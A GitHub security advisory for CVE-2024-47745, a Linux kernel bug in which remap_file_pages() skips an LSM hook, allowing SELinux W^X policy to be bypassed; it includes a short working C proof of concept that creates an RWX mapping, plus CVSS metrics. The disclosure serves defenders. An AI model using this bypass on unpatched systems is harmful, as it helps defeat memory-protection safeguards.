Skip to content

In the Linux kernel, the following vulnerability has been...

High severity Unreviewed Published Oct 21, 2024 to the GitHub Advisory Database • Updated Dec 14, 2024

Package

No package listedSuggest a package

Affected versions

Unknown

Patched versions

Unknown

Description

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which
doesn't contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) {
size_t pagesz = sysconf(_SC_PAGE_SIZE);
int mfd = syscall(SYS_memfd_create, "test", 0);
const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
MAP_SHARED, mfd, 0);
unsigned int old = syscall(SYS_personality, 0xffffffff);
syscall(SYS_personality, READ_IMPLIES_EXEC | old);
syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
syscall(SYS_personality, old);
// show the RWX page exists even if W^X policy is enforced
int fd = open("/proc/self/maps", O_RDONLY);
unsigned char buf2[1024];
while (1) {
int ret = read(fd, buf2, 1024);
if (ret <= 0) break;
write(1, buf2, ret);
}
close(fd);
}

$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

References

Published by the National Vulnerability Database Oct 21, 2024
Published to the GitHub Advisory Database Oct 21, 2024
Last updated Dec 14, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(5th percentile)

Weaknesses

CVE ID

CVE-2024-47745

GHSA ID

GHSA-qpxg-4f92-ww23

Source code

No known source code

Dependabot alerts are not supported on this advisory because it does not have a package from a supported ecosystem with an affected and fixed version.

Learn more about GitHub language support

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.